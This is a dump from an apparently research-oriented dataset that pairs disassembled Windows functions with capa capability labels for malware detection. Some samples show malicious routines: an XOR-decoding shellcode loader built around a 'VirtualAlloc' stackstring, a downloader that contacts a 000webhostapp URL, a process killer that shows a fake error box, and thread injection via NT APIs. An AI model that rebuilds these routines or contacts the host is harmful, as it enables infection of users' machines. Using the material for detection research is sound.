joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005bc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140005b5f
je 0x140005b6a
call 0x140005bb9
mov bl, 0xc7
lahf
pop rsi
jne 0x140005b4a
call 0x140005b62
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140005b4a
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140005b98
je 0x140005bd6
invalid
je 0x140005be7
jne 0x140005b4a
lea rax, [0x140005a70]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x1400017d1]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140005c88
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140005ce1
je 0x140005ce7
call 0x140005cd8
fild qword [rdi - 0x7c]
jmp 0x174f4245a
jne 0x140005caa
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140005c6a
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140001fc8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002012
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002012
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.KERNEL32.dll_GetCurrentThreadId
jne 0x140002012
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002012
cmp dword [rcx + 0x84], 0xe
jbe 0x140002012
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002014
xor al, al
add rsp, 0x28
ret
Function at 0x1400032d0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r15
sub rsp, 0x460
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rsp + 0x440], rax
xor r15d, r15d
mov qword [rsp + 0x458], r14
mov rdi, r8
mov rsi, rdx
mov r14, rcx
cmp r8, r9
je 0x140003357
cmp qword [r9 + 0x18], 7
mov rax, r9
jbe 0x140003316
mov rax, qword [r9]
mov rdx, qword [r9 + 0x10]
mov rcx, qword [r8 + 0x18]
cmp rdx, rcx
ja 0x14000334c
mov rbp, rdi
cmp rcx, 7
jbe 0x14000332f
mov rbp, qword [r8]
lea rbx, [rdx + rdx]
mov qword [r8 + 0x10], rdx
mov r8, rbx
mov rdx, rax
mov rcx, rbp
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rbp], r15w
jmp 0x140003357
mov r9, rax
mov rcx, rdi
call fcn.140007a50
cmp qword [rsi + 0x18], 7
mov dword [rsp + 0x30], 0x400
jbe 0x140003369
mov rsi, qword [rsi]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
lea rax, [rsp + 0x40]
mov rdx, rsi
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov r14, qword [rsp + 0x458]
mov ebp, eax
test eax, eax
jne 0x1400033fd
lea rax, [rsp + 0x40]
mov rdx, 0xffffffffffffffff
nop dword [rax]
inc rdx
cmp word [rax + rdx*2], r15w
jne 0x1400033b0
mov rax, qword [rdi + 0x18]
cmp rdx, rax
ja 0x1400033ee
mov rsi, rdi
cmp rax, 7
jbe 0x1400033cf
mov rsi, qword [rdi]
lea rbx, [rdx + rdx]
mov qword [rdi + 0x10], rdx
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rsi], r15w
jmp 0x1400033fb
lea r9, [rsp + 0x40]
mov rcx, rdi
call fcn.140007a50
mov eax, ebp
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140009a00
add rsp, 0x460
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140003420
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
movaps xmmword [rsp + 0xc0], xmm6
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREWOW6432NodeTencentMobileGamePCUI
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
movdqa xmm6, xmmword [0x14000dc60]
movdqu xmmword [rbp + 0x2f], xmm6
xor ebx, ebx
mov word [rbp + 0x1f], bx
lea rdx, [0x14000c8b0]
lea rcx, [rbp - 0x29]
call fcn.1400067e0
nop
lea rdx, str.InstallPath
lea rcx, [rbp - 0x49]
call fcn.1400067e0
nop
lea r9, [rbp - 0x29]
lea r8, [rbp + 0x1f]
lea rdx, [rbp - 0x49]
mov rcx, qword [rbp - 9]
call fcn.1400032d0
nop
mov rdx, qword [rbp - 0x31]
cmp rdx, 7
jbe 0x14000350b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400034fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009a5c
movdqa xmm6, xmmword [0x14000dc60]
movdqu xmmword [rbp - 0x39], xmm6
mov word [rbp - 0x49], bx
mov rdx, qword [rbp - 0x11]
cmp rdx, 7
jbe 0x140003557
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003552
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003552
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009a5c
lea rdx, [rbp + 0x1f]
lea rcx, [rbp - 1]
call fcn.140007240
lea r8, [rbp - 1]
cmp qword [rbp + 0x17], 7
cmova r8, qword [rbp - 1]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.https:__serverdoitruy.000webhostapp.click_lIbCryptto_AndroidEmulatorEx.so
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rdx, qword [rbp + 0x17]
cmp rdx, 7
jbe 0x1400035cc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009a5c
movdqa xmm0, xmmword [0x14000dc60]
movdqu xmmword [rbp + 0xf], xmm0
mov word [rbp - 1], bx
mov rdx, qword [rbp + 0x37]
cmp rdx, 7
jbe 0x140003620
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000361b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000361b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009a5c
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140009a00
mov rbx, qword [rsp + 0xe0]
movaps xmm6, xmmword [rsp + 0xc0]
add rsp, 0xd0
pop rbp
ret
Function at 0x1400041f0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov ecx, 2
xor edi, edi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140004278
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000426f
lea rdx, str.AndroidEmulatorEx.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000426b
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140004241
jmp 0x14000426f
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140009a00
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret

Function at 0x140004340
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x1060
call fcn.14000aab0
sub rsp, rax
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rdi, rdx
mov rbx, rcx
xor ebp, ebp
lea rcx, str.FileDownloader
mov edx, 1
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140004412
cmp qword [rbx + 0x18], 0xf
jbe 0x14000439d
mov rbx, qword [rbx]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140004409
cmp qword [rdi + 0x18], 0xf
jbe 0x1400043ce
mov rdi, qword [rdi]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x140004416
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x14000448c
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000446f
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x14000446f
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rbp
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140004430
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.140009a00
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1060
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000a624
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a66e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a66e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a66e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a66e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a66e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000a670
xor al, al
add rsp, 0x28
ret

Function at 0x140878160
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1408782e7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140878191
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140878177
add dl, dl
jne 0x14087819e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408781fe
xor eax, eax
add dl, dl
jne 0x1408781ad
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408782b5
add dl, dl
jne 0x1408781be
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408781cb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408781d8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408781e5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1408781f2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140878186
mov eax, 1
add dl, dl
jne 0x14087820e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14087821b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140878203
sub eax, ebx
mov ebx, 1
jne 0x140878254
mov ecx, 1
add dl, dl
jne 0x140878236
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140878243
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14087822b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140878186
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140878270
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14087827d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140878265
cmp eax, 0x7d00
jae 0x1408782a3
cmp eax, 0x500
jb 0x14087829e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140878186
cmp eax, 0x7f
ja 0x1408782a6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140878186
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1408782da
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140878186
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1800012a0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov esi, ecx
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000145d
mov qword [rsp + 0x2a0], rbx
lea rdx, [rsp + 0x20]
mov rcx, rax
mov qword [rsp + 0x2a8], rbp
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180001444
lea rbp, str.Impulse_v7.4.1_setup.exe
lea rdx, [rsp + 0x4c]
mov rax, 0xffffffffffffffff
nop dword [rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rbp + rax*2 + 2]
jne 0x18000142e
add rax, 2
cmp rax, 0x19
je 0x18000134a
movzx ecx, word [rdx + rax*2]
cmp cx, word [rbp + rax*2]
je 0x180001320
jmp 0x18000142e
mov r8d, dword [rsp + 0x28]
cmp r8d, esi
je 0x18000142e
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18000142e
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.PsInfo_License_Agreement
lea rcx, [rsp + 0x260]
call fcn.1800016f0
cmp qword [rsp + 0x278], 7
lea rdx, [rsp + 0x260]
cmova rdx, qword [rsp + 0x260]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1800013ce
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov r9d, 0x40010
lea r8, str.Runtime_Error
lea rdx, str.The_application_failed_to_initialize.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rsp + 0x278]
cmp rdx, 7
jbe 0x18000142e
mov rcx, qword [rsp + 0x260]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001429
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000147e
call fcn.180001ca4
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180001310
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x2a0]
mov rbp, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.180001c40
mov rsi, qword [rsp + 0x2b0]
add rsp, 0x290
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140001630
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov rsi, rcx
mov qword [rsp + 0x58], 0
mov rdi, qword [rcx + 0x10]
mov qword [rsp + 0x70], rdi
mov dword [rsp + 0x6c], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x48]
cmp rax, 1
jne 0x140001812
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0x50]
inc qword [rbx]
je 0x140001821
mov rax, qword [rbx + 0x110]
cmp rax, 0x40
jb 0x1400016e9
lea rdx, [rbx + 0x10]
lea rcx, [rbx + 0x120]
mov rax, qword [rbx + 0x158]
test rax, rax
jle 0x1400016e2
cmp qword [rbx + 0x160], 0
js 0x1400016e2
add rax, 0xffffffffffffff00
mov qword [rbx + 0x158], rax
call fcn.140043fc0
jmp 0x1400016e7
call fcn.1400e70e0
xor eax, eax
mov ebp, dword [rbx + rax*4 + 0x10]
inc rax
mov qword [rbx + 0x110], rax
and ebp, 1
or ebp, 0x1000
dec qword [rbx]
jne 0x14000171d
dec qword [rbx + 8]
jne 0x14000171d
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsp + 0x20], ebp
mov dword [rsp + 0x28], 0x40
lea r14, [rsp + 0x58]
lea r15, [rsp + 0x70]
mov rcx, 0xffffffffffffffff
mov rdx, r14
xor r8d, r8d
mov r9, r15
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rsp + 0x58]
mov rbx, qword [rsi + 8]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbx
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, r14
mov r8, r15
mov r9d, 0x50
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov qword [rsp + 0x60], 0
mov rax, qword [rsp + 0x58]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x60]
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rsp + 0x60]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
cmp qword [rsi], 0
je 0x140001804
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
test rax, rax
jne 0x140001823
call fcn.140127240
jmp 0x14000167d
ud2
lea rax, [0x1401687f8]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_std_src_threadlocal.rs
lea r9, [0x140168660]
lea r8, [rsp + 0x60]
mov edx, 0x46
call fcn.140122900
int3
Function at 0x14001cb40
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rsi, rdx
cmp dword [rcx], 2
jne 0x14001cbd6
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet________________]
movdqa xmmword [rsp + 0x30], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmmword [0x14012f750]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14001ce10
test rdi, rdi
je 0x14001cc65
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x14001cc7e
mov rdx, qword [rsi]
xor ecx, ecx
test rdx, rdx
setne cl
movabs rax, 0xcbf29ce484222325
xor rax, rcx
movabs rcx, 0x1efac7090aef4a21
imul rax, rcx
test rdx, rdx
je 0x14001cd76
mov r9, qword [rsi + 0x10]
test r9, r9
je 0x14001cdf8
mov rcx, qword [rsi + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x14001cd83
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x14001cc40
cmp r9, 8
jae 0x14001cd8c
jmp 0x14001cdf8
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14001ce10
mov rax, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, r9
mov r8, qword [rsp + 0x30]
add r8, rax
mov rdx, qword [rsp + 0x38]
add rdx, rcx
rol rax, 0xd
xor rax, r8
rol rcx, 0x10
rol r8, 0x20
xor rcx, rdx
add rdx, rax
rol rax, 0x11
add r8, rcx
xor rax, rdx
rol rcx, 0x15
xor rcx, r8
rol rdx, 0x20
xor r8, r9
xor rdx, 0xff
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
shl rcx, 0x10
xor rcx, rdx
add rdx, rax
shr rax, 0x2f
shr rcx, 0x2b
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x14001cdf8
movzx edx, byte [rsi + 8]
xor rax, rdx
imul rax, rcx
jmp 0x14001cdf8
mov r8, rcx
cmp r9, 8
jb 0x14001cdf8
add rcx, r9
nop
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
jne 0x14001cd90
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x14001ce10
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x14001ce52
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x14001ce5a
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x14001ce6b
jmp 0x14001ce82
xor r10d, r10d
jmp 0x14001cf0d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x14001ce82
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x14001ce99
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x14001ceb9
add r11, r8
jmp 0x14001cfe9
mov rcx, qword [rax + 0x18]
xor rcx, rsi
mov rdi, qword [rax + 0x10]
mov r9, qword [rax]
add r9, rdi
mov r11, qword [rax + 8]
add r11, rcx
rol rdi, 0xd
xor rdi, r9
rol rcx, 0x10
rol r9, 0x20
xor rcx, r11
add r11, rdi
rol rdi, 0x11
add r9, rcx
xor rdi, r11
rol rcx, 0x15
mov qword [rax + 0x10], rdi
xor rcx, r9
rol r11, 0x20
mov qword [rax + 0x18], rcx
mov qword [rax + 8], r11
xor r9, rsi
mov qword [rax], r9
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x14001cf82
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
mov rbx, qword [rdx + r10]
xor rdi, rbx
add rcx, rsi
rol rsi, 0xd
add r9, rdi
xor rsi, rcx
rol rdi, 0x10
xor rdi, r9
rol rcx, 0x20
add r9, rsi
add rcx, rdi
rol rsi, 0x11
xor rsi, r9
rol rdi, 0x15
